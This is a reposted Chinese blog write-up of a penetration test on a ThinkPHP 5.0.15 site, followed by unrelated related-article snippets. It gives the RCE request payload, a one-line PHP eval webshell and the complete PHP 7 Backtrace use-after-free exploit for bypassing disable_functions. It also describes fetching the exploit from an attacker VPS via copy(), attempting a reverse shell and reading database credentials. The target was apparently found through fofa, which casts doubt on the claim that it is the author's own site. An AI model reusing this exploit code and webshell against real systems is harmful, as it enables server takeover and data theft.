一次简单的渗透测试,快来测测P站有没有漏洞吧!

前言

下午闲来无事,拿自己站玩玩,也算是一次比较完备地漏洞挖掘。文末插入福利

信息搜集

在fofa上找到一个后台的站。

一个普通的后台,弱口令,sql注入没打进去。

从错误路由中得知框架是tp的

这个版本是存在RCE漏洞的

直接嗦

设置了open_basedir和disable_function

也是比较头疼的。

整理思路

我们可以知道php版本是 7.1 和 开了 FPM服务的,以及tp的版本是5.0.15。

可以尝试打FPM未授权,或者利用 PHP7.1 版本存在的 JSON serializer UAF 和 Backtrace UAF 来bypass``disable_function

不过前提都是有可以利用的代码执行,而不是此处的 call_user_func ,利用太局限。

尝试写个木马进去。

先前在审计tp5的时候发现tp5.0.x 版本里同样还存在某个反序列化漏洞,可以通过 控制 File 类,用伪协议绕过死亡exit()写入木马。

调用反序列化函数,来触发。

_method=__construct&method=get&filter=unserialize&get[]=xxxxxx

构造的exp就不贴了

写进去后有一个很致命的错误

PHP Parse error:  syntax error, unexpected 'rkvg' (T_STRING)

就是php短标签的问题,<? ?> 仍然作为php的标签,然后 rkvg() 当作一个函数,导致程序异常结束。

ctf里考了不少 php://filter的利用,这里打一套组合拳就可以了。

<?php eval($_POST['ccc']);?>

下面参考链接还有一些别的拳法。

触发后访问,a.php3b58a9545013e88c7186db11bb158c44.php就可以了。

意料之外的事情是蚁剑连不上。

GetShell

那么就直接通过上传exploit的方式来拿shell吧。

这里拿BackTrace UAF 的 exploit 来打吧

<?php# Author: https://github.com/mm0r1pwn($_POST["pass"]);function pwn($cmd) {global $abc, $helper, $backtrace;class Vuln {public $a;public function __destruct() { global $backtrace; unset($this->a);$backtrace = (new Exception)->getTrace(); # ;)if(!isset($backtrace[1]['args'])) { # PHP >= 7.4$backtrace = debug_backtrace();}}}class Helper {public $a, $b, $c, $d;}function str2ptr(&$str, $p = 0, $s = 8) {$address = 0;for($j = $s-1; $j >= 0; $j--) {$address <<= 8;$address |= ord($str[$p+$j]);}return $address;}function ptr2str($ptr, $m = 8) {$out = "";for ($i=0; $i < $m; $i++) {$out .= chr($ptr & 0xff);$ptr >>= 8;}return $out;}function write(&$str, $p, $v, $n = 8) {$i = 0;for($i = 0; $i < $n; $i++) {$str[$p + $i] = chr($v & 0xff);$v >>= 8;}}function leak($addr, $p = 0, $s = 8) {global $abc, $helper;write($abc, 0x68, $addr + $p - 0x10);$leak = strlen($helper->a);if($s != 8) { $leak %= 2 << ($s * 8) - 1; }return $leak;}function parse_elf($base) {$e_type = leak($base, 0x10, 2);$e_phoff = leak($base, 0x20);$e_phentsize = leak($base, 0x36, 2);$e_phnum = leak($base, 0x38, 2);for($i = 0; $i < $e_phnum; $i++) {$header = $base + $e_phoff + $i * $e_phentsize;$p_type  = leak($header, 0, 4);$p_flags = leak($header, 4, 4);$p_vaddr = leak($header, 0x10);$p_memsz = leak($header, 0x28);if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write# handle pie$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;$data_size = $p_memsz;} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec$text_size = $p_memsz;}}if(!$data_addr || !$text_size || !$data_size)return false;return [$data_addr, $text_size, $data_size];}function get_basic_funcs($base, $elf) {list($data_addr, $text_size, $data_size) = $elf;for($i = 0; $i < $data_size / 8; $i++) {$leak = leak($data_addr, $i * 8);if($leak - $base > 0 && $leak - $base < $data_addr - $base) {$deref = leak($leak);# 'constant' constant checkif($deref != 0x746e6174736e6f63)continue;} else continue;$leak = leak($data_addr, ($i + 4) * 8);if($leak - $base > 0 && $leak - $base < $data_addr - $base) {$deref = leak($leak);# 'bin2hex' constant checkif($deref != 0x786568326e6962)continue;} else continue;return $data_addr + $i * 8;}}function get_binary_base($binary_leak) {$base = 0;$start = $binary_leak & 0xfffffffffffff000;for($i = 0; $i < 0x1000; $i++) {$addr = $start - 0x1000 * $i;$leak = leak($addr, 0, 7);if($leak == 0x10102464c457f) { # ELF headerreturn $addr;}}}function get_system($basic_funcs) {$addr = $basic_funcs;do {$f_entry = leak($addr);$f_name = leak($f_entry, 0, 6);if($f_name == 0x6d6574737973) { # systemreturn leak($addr + 8);}$addr += 0x20;} while($f_entry != 0);return false;}function trigger_uaf($arg) {# str_shuffle prevents opcache string interning$arg = str_shuffle(str_repeat('A', 79));$vuln = new Vuln();$vuln->a = $arg;}if(stristr(PHP_OS, 'WIN')) {die('This PoC is for *nix systems only.');}$n_alloc = 10; # increase this value if UAF fails$contiguous = [];for($i = 0; $i < $n_alloc; $i++)$contiguous[] = str_shuffle(str_repeat('A', 79));trigger_uaf('x');$abc = $backtrace[1]['args'][0];$helper = new Helper;$helper->b = function ($x) { };if(strlen($abc) == 79 || strlen($abc) == 0) {die("UAF failed");}# leaks$closure_handlers = str2ptr($abc, 0);$php_heap = str2ptr($abc, 0x58);$abc_addr = $php_heap - 0xc8;# fake valuewrite($abc, 0x60, 2);write($abc, 0x70, 6);# fake referencewrite($abc, 0x10, $abc_addr + 0x60);write($abc, 0x18, 0xa);$closure_obj = str2ptr($abc, 0x20);$binary_leak = leak($closure_handlers, 8);if(!($base = get_binary_base($binary_leak))) {die("Couldn't determine binary base address");}if(!($elf = parse_elf($base))) {die("Couldn't parse ELF header");}if(!($basic_funcs = get_basic_funcs($base, $elf))) {die("Couldn't get basic_functions address");}if(!($zif_system = get_system($basic_funcs))) {die("Couldn't get zif_system address");}# fake closure object$fake_obj_offset = 0xd0;for($i = 0; $i < 0x110; $i += 8) {write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));}# pwnwrite($abc, 0x20, $abc_addr + $fake_obj_offset);write($abc, 0xd0 + 0x38, 1, 4); # internal func typewrite($abc, 0xd0 + 0x68, $zif_system); # internal func handler($helper->b)($cmd);exit();
}

上传到vps 上后通过 copy(‘http://vps/1.txt’,’/tmp/exp.php’);

来传进去。

命令可以执行了,尝试反弹shell。

普通的bash是没办法执行的,可能权限问题吧。

link 到了 /usr/bin

其实不难发现,可以通过python命令来尝试拿到shell

此处的shell.php 是我通过上面的木马重新写入的,密码改成了cmd

下面是尝试通过 从database.php读取到的账号密码来连入数据库。

管理员密码有加密,但依然可以从尝试从后台的代码中捕获加密解密算法,点到为止吧。

也算是对已有的漏洞知识的一个复现。

渗透测试漏洞挖掘书籍【点击获取】

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/1620563.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

Git企业开发控制理论和实操-从入门到深入(五)|标签管理

前言 那么这里博主先安利一些干货满满的专栏了&#xff01; 首先是博主的高质量博客的汇总&#xff0c;这个专栏里面的博客&#xff0c;都是博主最最用心写的一部分&#xff0c;干货满满&#xff0c;希望对大家有帮助。 高质量博客汇总 然后就是博主最近最花时间的一个专栏…

如何使用腾讯云服务器搭建网站?

使用腾讯云服务器搭建网站全流程&#xff0c;包括轻量应用服务器和云服务器CVM建站教程&#xff0c;轻量可以使用应用镜像一键建站&#xff0c;云服务器CVM可以通过安装宝塔面板的方式来搭建网站&#xff0c;腾讯云服务器网分享使用腾讯云服务器建站教程&#xff0c;新手站长搭…

iOS swift5 扫描二维码

文章目录 1.生成二维码图片2.扫描二维码&#xff08;含上下扫描动画&#xff09;2.1 记得在info.plist中添加相机权限描述 1.生成二维码图片 import UIKit import CoreImagefunc generateQRCode(from string: String) -> UIImage? {let data string.data(using: String.En…

使用windeployqt和InstallShield打包发布Qt软件的流程

前言 Qt编译之后需要打包发布&#xff0c;并且发布给用户后需要增加一个安装软件&#xff0c;通过安装软件可以实现Qt软件的安装&#xff1b;用于安装软件的软件有很多&#xff0c;这里主要介绍InstallShield使用的流程&#xff1b; 使用windeployqt打包Qt编译后的程序 Qt程序…

【论文笔记】最近看的时空数据挖掘综述整理8.27

Deep Learning for Spatio-Temporal Data Mining: A Survey 被引用次数&#xff1a;392 [Submitted on 11 Jun 2019 (v1), last revised 24 Jun 2019 (this version, v2)] 主要内容&#xff1a; 该论文是一篇关于深度学习在时空数据挖掘中的应用的综述。论文首先介绍了时空数…

有了二建证,对工资有多大提升?华通教育双十二建造师课程优惠来袭!

一开始每个月多1500工资&#xff0c; 现在算&#xff0c;差不多一个月多4000工资。 给大家分享一下考证之后带来的收益。文中妹子&#xff0c;刚毕业1500多的实习工资&#xff0c;考证后4000。 二建呢&#xff0c;其实它的作用是让你有机会进入工程行业&#xff0c;算是一块敲…

亿华通冲刺港股:年营收超6亿 业绩受申龙客车和中植汽车拖累

雷递网 雷建平 1月31日报道 北京亿华通科技股份有限公司&#xff08;简称&#xff1a;“亿华通”&#xff09;日前递交招股书&#xff0c;准备在香港上市。 亿华通是2020年8月在科创板上市&#xff0c;发行价为76.65元&#xff0c;发行17,630,523股&#xff0c;募集资金13.5亿元…

哈焊华通深交所上市:市值43亿 机械总院集团为大股东

雷递网 雷建平 3月22日报道 焊所华通&#xff08;常州&#xff09;焊业股份有限公司&#xff08;简称&#xff1a;“哈焊华通”&#xff0c;证券代码&#xff1a;301137&#xff09;今日在深交所上市。 哈焊华通本次发行4545.34万股&#xff0c;发行价为15.37元&#xff0c;募资…

世纪华通2020年业绩持续领先:商业模式愈发成熟,优秀质地突出

撰稿 | 多客 来源 | 贝多财经 过去一年&#xff0c;"宅经济"效应持续发酵&#xff0c;不仅让游戏公司的营收大幅度提升&#xff0c;也让众多资本开始青睐一些优质游戏公司的标的。 根InvestGame透露&#xff0c;游戏业2021年第一季度的并购交易和投融资金额就已经超…

第二届828 B2B企业节启动,华为云携手上万伙伴共筑企业应用一站购平台

当前&#xff0c;数字技术与实体经济深度融合&#xff0c;为千行百业注入新动力、拓展新空间。数据显示&#xff0c;2022年中国数字经济规模超过50万亿&#xff0c;占GDP比重超过40%&#xff0c;继续保持在10%的高位增长速度&#xff0c;成为稳定经济增长的关键动力。 为加速企…

[杂谈]10年前的杂志文章-清凉简装,电脑减负非诚勿扰

《清凉简装 电脑减负非诚勿扰》-这是《电脑爱好者》2010年14期的封面文章&#xff0c;也是我在各个平台昵称的由来&#xff0c;当年那本杂志早就卖废纸了。知网找到了原文&#xff0c;重温一下&#xff0c;十年弹指一挥间&#xff0c;当年的顶配机型现在看个B站估计都够呛&…

周易卦爻解读笔记——井卦

第四十八卦井 水风井 坎上巽下 井卦由泰卦所变&#xff0c;泰卦六五与初九换位&#xff0c;象征建设民生。 地天泰 井卦是困卦的覆卦&#xff0c;序卦传【困乎上者必反下&#xff0c;故受之以井】 井卦是改革三部曲第一卦&#xff0c;后面的革、鼎也都是言谈改革。 井&…

STM32的时钟系统

今天&#xff0c;学习了STM32的时钟系统&#xff0c;如下为stm32的时钟树。

淘沙河 - 清凉解暑之电风扇

如何正确选购电风扇 1.选购电风扇的第一维度&#xff1a;根据自身需求定位风扇类别 2.选购电风扇的第二维度&#xff1a;看电风扇核心部件&#xff1a;电机电风扇电机作为心脏部件最值得消费者重视&#xff0c;一台电风扇的电机寿命直接决定电风扇使用寿命&#xff0c;所以选择…

ChatGLM-6B的基座/部署/微调/实现:从GLM到6B的LoRA/P-Tuning微调、及6B源码解读

前言 随着『GPT4多模态/Microsoft 365 Copilot/Github Copilot X/ChatGPT插件』的推出&#xff0c;绝大部分公司的技术 产品 服务&#xff0c;以及绝大部分人的工作都将被革新一遍 类似iPhone的诞生 大家面向iOS编程 有了App Store现在有了ChatGPT插件/GPT应用商店&#xff…

大话设计模式-装饰模式

前言 穿衣打扮是现在的时尚潮流&#xff0c;我们时常刷淘宝来不断满足自己的打扮需求&#xff0c;买个帽子、换条裤子、整双时尚鞋。需求是没有极限的&#xff0c;无止境的购物&#xff0c;只要存在这个平台那么这些装饰性的购物是不可避免的。这在我们软件开发中可以看做是为我…

VS2015+MATLAB2016b混合编程

原 VS2015MATLAB2016b混合编程 2017年12月03日 20:11:46 Zlase 阅读数&#xff1a;1878 更多 <div class"tags-box space"><span class"label">个人分类&#xff1a;</span><a class"tag-link" href"https://blog.csd…

用Adomd.net构建最清凉的olap示例

本来要写最轻量的&#xff0c;结果MSPY3.0给我来了个‘清凉’&#xff0c;好像也不错哦&#xff0c;那就清凉一下吧~ 什么是OLAP呢&#xff0c;我几句话也解释不清楚了&#xff0c;可以看 这儿。 当我们使用微软提供的 SQL Server Analysis Service来做OLAP分析时&#xff0c;这…

夏天想美美的出门?店湾妹的“明星穿搭教科书”,很美有木有?

Hi~各位小仙女&#xff01; 大家猜到了这个穿着花衬衫的小仙女是谁了吗&#xff1f; 图片描述(最多50字) 单单凭借一张背影照&#xff0c;如果不是很熟悉&#xff0c;肯定是很难猜出来的&#xff0c;给点线索提示哈&#xff0c;参加过《花儿与少年》&#xff0c;而且是胡歌的…

装饰设计模式

职责&#xff1a; 动态的为一个对象增加新的功能。 装饰模式是一种用于代替继承的技术&#xff0c;无需通过继承增加子类就能扩展对象的新功能。 使用对象的关联关系代替继承关系&#xff0c;更加灵活&#xff0c;同事避免类型体系的快速膨胀。 使用场景&#xff1a; 1.IO流…